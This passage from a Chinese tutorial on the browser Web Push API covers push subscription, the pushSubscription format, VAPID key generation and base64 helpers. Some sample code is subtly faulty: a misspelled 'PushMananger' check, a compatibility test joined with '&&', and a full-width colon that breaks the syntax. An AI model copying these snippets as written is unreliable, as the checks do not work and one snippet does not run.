&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x9001;&#x6D88;&#x606F;&#x901A;&#x77E5;&#xFF0C;&#x53D1;&#x9001;&#x65F6;&#x4F1A;&#x5C06;&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#x5E26;&#x4E0A;&#xFF0C;&#x4EE5;&#x544A;&#x77E5;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x8FD9;&#x6761;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x7684;&#x76EE;&#x7684;&#x5730;&#xFF1B;</li>\n<li>&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x63A5;&#x6536;&#x5230;&#x6D88;&#x606F;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x6839;&#x636E;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#x5C06;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x7ED9;&#x5BF9;&#x5E94;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x3002;</li>\n</ol>\n<p>&#x81F3;&#x6B64;&#x5C31;&#x5B8C;&#x6210;&#x4E86;&#x6574;&#x4E2A;&#x63A8;&#x9001;&#x6D41;&#x7A0B;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x5BF9;&#x63A8;&#x9001;&#x6D41;&#x7A0B;&#x7684;&#x5177;&#x4F53;&#x6B65;&#x9AA4;&#x8FDB;&#x884C;&#x4ECB;&#x7ECD;&#x3002;</p>\n<h2 id=\"&#x8BA2;&#x9605;&#x63A8;&#x9001;\"><a name=\"&#x8BA2;&#x9605;&#x63A8;&#x9001;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BA2;&#x9605;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BA2;&#x9605;&#x63A8;&#x9001;\" class=\"plugin-anchor\" href=\"#&#x8BA2;&#x9605;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BA2;&#x9605;&#x63A8;&#x9001;</h2>\n<p>&#x5728;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x53D1;&#x9001;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x4E4B;&#x524D;&#xFF0C;&#x5FC5;&#x987B;&#x5148;&#x8BA2;&#x9605;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x3002;Push API &#x63D0;&#x4F9B; PushManager &#x63A5;&#x53E3;&#x8BF7;&#x6C42;&#x548C;&#x63A8;&#x9001;&#x901A;&#x77E5;&#xFF0C;&#x5728;&#x7B2C;&#x56DB;&#x7AE0; Service Worker &#x7684;&#x5B66;&#x4E60;&#x4E2D;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#xFF0C;&#x5F53; Service Worker &#x6CE8;&#x518C;&#x6210;&#x529F;&#x65F6;&#xFF0C;&#x4F1A;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; <code>ServiceWorkerRegistration</code> &#x7684;&#x5B9E;&#x4F8B;&#x5BF9;&#x8C61; <code>registration</code>&#xFF0C;&#x5176;&#x4E2D; <code>PushManager</code> &#x7684;&#x5B9E;&#x4F8B; <code>pushManager</code> &#x5C31;&#x6302;&#x5230;&#x4E86; <code>registration</code> &#x5BF9;&#x8C61;&#x4E0B;&#x9762;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8C03;&#x7528; <code>registration.pushManager.subscribe()</code> &#x8FDB;&#x884C;&#x8BA2;&#x9605;&#x3002;</p>\n<p>&#x7531;&#x4E8E;&#x5B58;&#x5728;&#x517C;&#x5BB9;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x8C03;&#x7528;&#x4E4B;&#x524D;&#x9700;&#x8981;&#x5224;&#x65AD; <code>PushManager</code> &#x662F;&#x5426;&#x5B58;&#x5728;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span>PushMananger <span class=\"token operator\">!==</span> <span class=\"token keyword\">null</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x53D1;&#x8D77;&#x63A8;&#x9001;&#x8BA2;&#x9605;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5047;&#x8BBE;&#x7528;&#x6237;&#x542F;&#x7528;&#x4E86;&#x901A;&#x77E5;&#xFF0C;&#x73B0;&#x5728;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x8BA2;&#x9605;&#x63A8;&#x9001;&#x670D;&#x52A1;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">subscribe</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5224;&#x65AD;&#x517C;&#x5BB9;&#x6027;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span>PushManager <span class=\"token operator\">==</span> <span class=\"token keyword\">null</span> <span class=\"token operator\">&amp;&amp;</span> navigator<span class=\"token punctuation\">.</span>serviceWorker <span class=\"token operator\">==</span> <span class=\"token keyword\">null</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x6CE8;&#x518C; service-worker.js &#x83B7;&#x53D6; ServiceWorkerRegistration &#x5BF9;&#x8C61;</span>\n  <span class=\"token keyword\">let</span> registration <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> navigator<span class=\"token punctuation\">.</span>serviceWorker<span class=\"token punctuation\">.</span><span class=\"token function\">register</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/service-worker&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>scope<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x53D1;&#x8D77;&#x63A8;&#x9001;&#x8BA2;&#x9605;</span>\n  <span class=\"token keyword\">let</span> pushSubscription <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> registration<span class=\"token punctuation\">.</span>pushManager<span class=\"token punctuation\">.</span><span class=\"token function\">subscribe</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    userVisibleOnly&#xFF1A;<span class=\"token boolean\">true</span><span class=\"token punctuation\">,</span>\n    applicationServerKey<span class=\"token punctuation\">:</span> <span class=\"token function\">base64ToUint8Array</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;BLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x5C06; pushSubscription &#x53D1;&#x9001;&#x7ED9;&#x5E94;&#x7528;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x5668;</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">distributePushResource</span><span class=\"token punctuation\">(</span>pushSubscription<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5728;&#x4E0A;&#x9762;&#x7684;&#x5B9E;&#x4F8B;&#x4E2D;&#xFF0C;subscribe &#x65B9;&#x6CD5;&#x63A5;&#x53D7; <code>userVisibleOnly</code> &#x53C2;&#x6570;&#xFF0C;&#x5982;&#x679C;&#x8BE5;&#x53C2;&#x6570;&#x4E3A; true &#x4F46;&#x6CA1;&#x6709;&#x8C03;&#x7528; Notification API &#x65F6;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5F39;&#x51FA;&#x9ED8;&#x8BA4;&#x7684;&#x63D0;&#x793A;&#x6846;&#x63D0;&#x793A;&#x6709;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x5728;&#x540E;&#x53F0;&#x8FD0;&#x884C;&#xFF0C;&#x786E;&#x4FDD;&#x6BCF;&#x4E2A;&#x6D88;&#x606F;&#x90FD;&#x6709;&#x5339;&#x914D;&#x7684;&#x901A;&#x77E5;&#x3002;&#x5BF9;&#x4E8E;&#x90E8;&#x5206;&#x6D4F;&#x89C8;&#x5668;&#x800C;&#x8A00;&#xFF08;&#x5982; Chrome for Android&#xFF09;&#xFF0C;&#x8BE5;&#x5C5E;&#x6027;&#x5FC5;&#x987B;&#x8BBE;&#x7F6E;&#x4E3A; true&#xFF0C;&#x4E0D;&#x7136;&#x4F1A;&#x62A5;&#x9519;&#x3002;</p>\n<p>&#x8BA2;&#x9605;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x8FD4;&#x56DE;&#x8BA2;&#x9605;&#x4FE1;&#x606F; <code>pushSubscription</code> &#x5BF9;&#x8C61;&#xFF0C; <code>pushSubscription</code> &#x7684;&#x7ED3;&#x6784;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token punctuation\">{</span><span class=\"token string\">&quot;endpoint&quot;</span><span class=\"token punctuation\">:</span><span class=\"token string\">&quot;https://fcm.googleapis.com/fcm/send/dpH5lCsTSSM:APA91bHqjZxM0VImWWqDRN7U0a3AycjUf4O-byuxb_wJsKRaKvV_iKw56s16ekq6FUqoCF7k2nICUpd8fHPxVTgqLunFeVeB9lLCQZyohyAztTH8ZQL9WCxKpA6dvTG_TUIhQUFq_n&quot;</span><span class=\"token punctuation\">,</span>\n<span class=\"token string\">&quot;keys&quot;</span><span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token string\">&quot;p256dh&quot;</span><span class=\"token punctuation\">:</span><span class=\"token string\">&quot;BLQELIDm-6b9Bl07YrEuXJ4BL_YBVQ0dvt9NQGGJxIQidJWHPNa9YrouvcQ9d7_MqzvGS9Alz60SZNCG3qfpk=&quot;</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&quot;auth&quot;</span><span class=\"token punctuation\">:</span><span class=\"token string\">&quot;4vQK-SvRAN5eo-8ASlrwA==&quot;</span>\n      <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>pushSubscription &#x5305;&#x542B;&#x516C;&#x94A5;&#x548C; endpointURL&#xFF0C;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x63A8;&#x9001;&#x65F6;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x516C;&#x94A5;&#x5BF9;&#x6D88;&#x606F;&#x52A0;&#x5BC6;&#xFF0C;endpointURL &#x662F;&#x7531;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x751F;&#x6210;&#x5305;&#x542B;&#x552F;&#x4E00;&#x6807;&#x8BC6;&#x7B26;&#x7684; URL&#xFF0C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x901A;&#x8FC7;&#x5B83;&#x5224;&#x65AD;&#x5C06;&#x6D88;&#x606F;&#x53D1;&#x9001;&#x5230;&#x54EA;&#x4E2A;&#x5BA2;&#x6237;&#x7AEF;&#x3002;</p>\n<p>&#x53EF;&#x5206;&#x522B;&#x901A;&#x8FC7; <code>pushSubscription.getKey(&apos;p256dh&apos;)</code> &#x548C; <code>pushSubscription.getKey(&apos;auth&apos;)</code> &#x6765;&#x83B7;&#x53D6;&#x5BC6;&#x94A5;&#x548C;&#x6821;&#x9A8C;&#x7801;&#x4FE1;&#x606F;&#x3002;&#x7531;&#x4E8E;&#x901A;&#x8FC7; <code>getKey()</code> &#x65B9;&#x6CD5;&#x83B7;&#x53D6;&#x5230;&#x7684;&#x5BC6;&#x94A5;&#x4FE1;&#x606F;&#x7C7B;&#x578B;&#x4E3A; <code>ArrayBuffer</code>&#xFF0C;&#x56E0;&#x6B64;&#x8FD8;&#x9700;&#x8981;&#x901A;&#x8FC7;&#x8F6C;&#x7801;&#x5C06;&#x5176;&#x8F6C;&#x6210; base64 &#x5B57;&#x7B26;&#x4E32;&#x4EE5;&#x4FBF;&#x4E8E;&#x4F20;&#x8F93;&#x3002;&#x8F6C;&#x6362;&#x51FD;&#x6570;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">uint8ArrayToBase64</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">arr</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token function\">btoa</span><span class=\"token punctuation\">(</span>String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">.</span><span class=\"token function\">apply</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">null</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Uint8Array</span><span class=\"token punctuation\">(</span>arr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#xFF0C;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x8981;&#x5C06; <code>pushSubscription</code> &#x7684; <code>endpoint</code>&#x3001;<code>p256dh</code>&#x3001;<code>auth</code> &#x8FDB;&#x884C;&#x5305;&#x88C5;&#x5E76;&#x53D1;&#x9001; POST &#x8BF7;&#x6C42;&#x4F20;&#x7ED9;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x53EA;&#x9700;&#x8981;&#x5C06;&#x8FD9;&#x4E2A; pushSubscription &#x63A5;&#x6536;&#x5230;&#x5E76;&#x4FDD;&#x5B58;&#x8D77;&#x6765;&#x5373;&#x53EF;&#x3002;&#x6BD4;&#x5982;&#x5728;&#x8FD9;&#x91CC;&#x4F7F;&#x7528; Fetch API &#x6765;&#x6F14;&#x793A;&#x6570;&#x636E;&#x4F20;&#x8F93;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">distributePushResource</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">pushSubscription</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/path/to/subscribe&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n    method<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;post&apos;</span><span class=\"token punctuation\">,</span>\n    body<span class=\"token punctuation\">:</span> <span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      endpoint<span class=\"token punctuation\">:</span> pushSubscription<span class=\"token punctuation\">.</span>endpoint<span class=\"token punctuation\">,</span>\n      keys<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n        p256dh<span class=\"token punctuation\">:</span> <span class=\"token function\">uint8ArrayToBase64</span><span class=\"token punctuation\">(</span>pushSubscription<span class=\"token punctuation\">.</span><span class=\"token function\">getKey</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;p256dh&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        auth<span class=\"token punctuation\">:</span> <span class=\"token function\">uint8ArrayToBase64</span><span class=\"token punctuation\">(</span>pushSubscription<span class=\"token punctuation\">.</span><span class=\"token function\">getKey</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;auth&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4EE5;&#x4E0A;&#x5C31;&#x662F;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x7684;&#x8BF4;&#x660E;&#x3002;&#x8BA2;&#x9605;&#x597D;&#x63A8;&#x9001;&#x4E4B;&#x540E;&#xFF0C;&#x4E0B;&#x9762;&#x5C31;&#x80FD;&#x591F;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x4FE1;&#x606F;&#x4E86;&#x3002;</p>\n<h2 id=\"&#x4F7F;&#x7528;-vapid\"><a name=\"&#x4F7F;&#x7528;-vapid\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-vapid\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-vapid\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-vapid\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; VAPID</h2>\n<p>&#x8BFB;&#x8005;&#x53EF;&#x80FD;&#x5DF2;&#x7ECF;&#x6CE8;&#x610F;&#x5230;&#xFF0C;&#x5728;&#x4E0A;&#x6587;&#x8BA2;&#x9605;&#x63A8;&#x9001; subscribe &#x65B9;&#x6CD5;&#x4E2D;&#xFF0C;&#x8FD8;&#x4F20;&#x5165;&#x4E86;&#x4E00;&#x4E2A; applicationServerKey &#x53C2;&#x6570;&#x7ED9;&#x63A8;&#x9001;&#x670D;&#x52A1;&#xFF0C;&#x8FD9;&#x4E2A;&#x53C2;&#x6570;&#x7684;&#x4F5C;&#x7528;&#x662F;&#x4EC0;&#x4E48;&#x5462;&#xFF1F;</p>\n<p>Web Push  &#x534F;&#x8BAE;&#x51FA;&#x4E8E;&#x7528;&#x6237;&#x9690;&#x79C1;&#x8003;&#x8651;&#xFF0C;&#x5728;&#x5E94;&#x7528;&#x548C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x4E4B;&#x95F4;&#x6CA1;&#x6709;&#x8FDB;&#x884C;&#x5F3A;&#x8EAB;&#x4EFD;&#x9A8C;&#x8BC1;&#xFF0C;&#x8FD9;&#x4E3A;&#x7528;&#x6237;&#x5E94;&#x7528;&#x548C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x90FD;&#x5E26;&#x6765;&#x4E86;&#x4E00;&#x5B9A;&#x7684;&#x98CE;&#x9669;&#x3002;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x662F;&#x5BF9; Web Push &#x4F7F;&#x7528;&#x81EA;&#x4E3B;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x6807;&#x8BC6;&#xFF08;VAPID&#xFF09;&#x534F;&#x8BAE;&#xFF0C;VAPID &#x89C4;&#x8303;&#x5141;&#x8BB8;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x6807;&#x8BC6;&#x8EAB;&#x4EFD;&#xFF0C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x77E5;&#x9053;&#x54EA;&#x4E2A;&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x8BA2;&#x9605;&#x4E86;&#x7528;&#x6237;&#xFF0C;&#x5E76;&#x786E;&#x4FDD;&#x5B83;&#x4E5F;&#x662F;&#x5411;&#x7528;&#x6237;&#x63A8;&#x9001;&#x4FE1;&#x606F;&#x7684;&#x670D;&#x52A1;&#x5668;&#x3002;&#x4F7F;&#x7528; VAPID &#x670D;&#x52A1;&#x8FC7;&#x7A0B;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x901A;&#x8FC7;&#x51E0;&#x4E2A;&#x6B65;&#x9AA4;&#x53EF;&#x4EE5;&#x7406;&#x89E3; VAPID &#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x5B89;&#x5168;&#x6027;&#x3002;</p>\n<ul>\n<li>&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x521B;&#x5EFA;&#x4E00;&#x5BF9;&#x516C;&#x94A5;/&#x79C1;&#x94A5;&#xFF0C;&#x5E76;&#x5C06;&#x516C;&#x94A5;&#x63D0;&#x4F9B;&#x7ED9; Web App &#x5BA2;&#x6237;&#x7AEF;</li>\n<li>&#x5F53;&#x7528;&#x6237;&#x5C1D;&#x8BD5;&#x8BA2;&#x9605;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x65F6;&#xFF0C;&#x5C06;&#x516C;&#x94A5;&#x6DFB;&#x52A0;&#x5230; subscribe() &#x8BA2;&#x9605;&#x65B9;&#x6CD5;&#x4E2D;&#xFF0C;&#x516C;&#x94A5;&#x5C06;&#x88AB;&#x53D1;&#x9001;&#x5230;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x4FDD;&#x5B58;&#x3002;</li>\n<li>&#x5E94;&#x7528;&#x670D;&#x52A1;&#x5668;&#x60F3;&#x8981;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x65F6;&#xFF0C;&#x53D1;&#x9001;&#x5305;&#x542B;&#x516C;&#x94A5;&#x548C;&#x5DF2;&#x7ECF;&#x7B7E;&#x540D;&#x7684; JSON Web &#x4EE4;&#x724C;&#x5230;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x63D0;&#x4F9B;&#x7684; API&#xFF0C;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x9A8C;&#x8BC1;&#x901A;&#x8FC7;&#x540E;&#xFF0C;&#x5C06;&#x4FE1;&#x606F;&#x63A8;&#x9001;&#x81F3; Web App &#x5BA2;&#x6237;&#x7AEF;&#x3002;</li>\n</ul>\n<p>&#x4E3A;&#x4E86;&#x907F;&#x514D;&#x5904;&#x7406;&#x8FC7;&#x591A;&#x52A0;&#x5BC6;&#x7EC6;&#x8282;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x7B80;&#x5355;&#x4E86;&#x89E3; VAPID &#x89C4;&#x8303;&#x5373;&#x53EF;&#xFF0C;&#x56E0;&#x4E3A;&#x76EE;&#x524D;&#x5DF2;&#x7ECF;&#x6709;&#x5F88;&#x591A;&#x5E93;&#x6765;&#x5E2E;&#x52A9;&#x5F00;&#x53D1;&#x8005;&#x751F;&#x6210;&#x516C;&#x94A5;&#xFF0C;&#x4ECE;&#x800C;&#x5927;&#x5927;&#x51CF;&#x5C11;&#x5F00;&#x53D1;&#x5DE5;&#x4F5C;&#x91CF;&#x3002;&#x5047;&#x8BBE;&#x5F00;&#x53D1;&#x8005;&#x4F7F;&#x7528; Node.js &#x4F5C;&#x4E3A;&#x670D;&#x52A1;&#x7AEF;&#x8BED;&#x8A00;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5B89;&#x88C5; <code>web-push</code> &#x6765;&#x534F;&#x52A9;&#x751F;&#x6210;&#x516C;&#x94A5;&#x3002;</p>\n<p>&#x9996;&#x5148;&#x901A;&#x8FC7; <code>npm install</code> &#x5B89;&#x88C5; <code>web-push</code>&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\"><span class=\"token function\">npm</span> <span class=\"token function\">install</span> web-push -g\n</code></pre>\n<p>&#x7136;&#x540E;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x547D;&#x4EE4;&#x884C;&#x751F;&#x6210;&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#x4E86;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\">web-push generate-vapid-keys\n</code></pre>\n<p>&#x5F97;&#x5230;&#x7684;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-shell\"><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">=</span>\n\nPublic Key:\nBLjmecELgzCq4S-fJyRx9j03wvR0yjSs6O13L6qABrj7CadS8689Lvi2iErzG8SeaPSX_ezoyD2O0MMkGZcj4c0\n\nPrivate Key:\nwNY2Jw8Zcw2wjfsiVzIxQB6K-ZoOkn-MS7fXxoo8w0Y\n\n<span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">=</span>\n</code></pre>\n<p>&#x6B63;&#x5982;&#x5728;&#x8BA2;&#x9605;&#x63A8;&#x9001;&#x4E2D;&#x63D0;&#x5230;&#x7684;&#xFF0C;subscribe &#x65B9;&#x6CD5;&#x901A;&#x8FC7; applicationServerKey &#x4F20;&#x5165;&#x6240;&#x9700;&#x8981;&#x7684;&#x516C;&#x94A5;&#x3002;&#x4E00;&#x822C;&#x6765;&#x8BF4;&#x5F97;&#x5230;&#x7684;&#x516C;&#x94A5;&#x4E00;&#x822C;&#x90FD;&#x662F; base64 &#x7F16;&#x7801;&#x540E;&#x7684;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x9700;&#x8981;&#x5C06;&#x5176;&#x8F6C;&#x6362;&#x6210; <code>Uint8Array</code> &#x683C;&#x5F0F;&#x624D;&#x80FD;&#x4F5C;&#x4E3A; subscribe &#x7684;&#x53C2;&#x6570;&#x4F20;&#x5165;&#x3002;&#x4E0B;&#x9762;&#x7ED9;&#x51FA;&#x4E00;&#x4E2A; base64 &#x8F6C; Uint8Array &#x7684;&#x51FD;&#x6570;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">function</span> <span class=\"token function\">base64ToUint8Array</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">base64String</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> padding <span class=\"token operator\">=</span> <span class=\"token string\">&apos;=&apos;</span><span class=\"token punctuation\">.</span><span class=\"token function\">repeat</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span> <span class=\"token operator\">-</span> base64String<span class=\"token punctuation\">.</span>length <span class=\"token operator\">%</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">%</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> base64 <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>base64String <span class=\"token operator\">+</span> padding<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">replace</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\-/g</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;+&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">replace</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/_/g</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;/&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> rawData <span class=\"token operator\">=</span> <span class=\"token function\">atob</span><span class=\"token punctuation\">(</span>base64<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> outputArray <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Uint8Array</span><span class=\"token punctuation\">(</span>rawData<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> rawData<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    outputArray<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">=</span> rawData<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">return</span> outputArray\n<span class=\"token 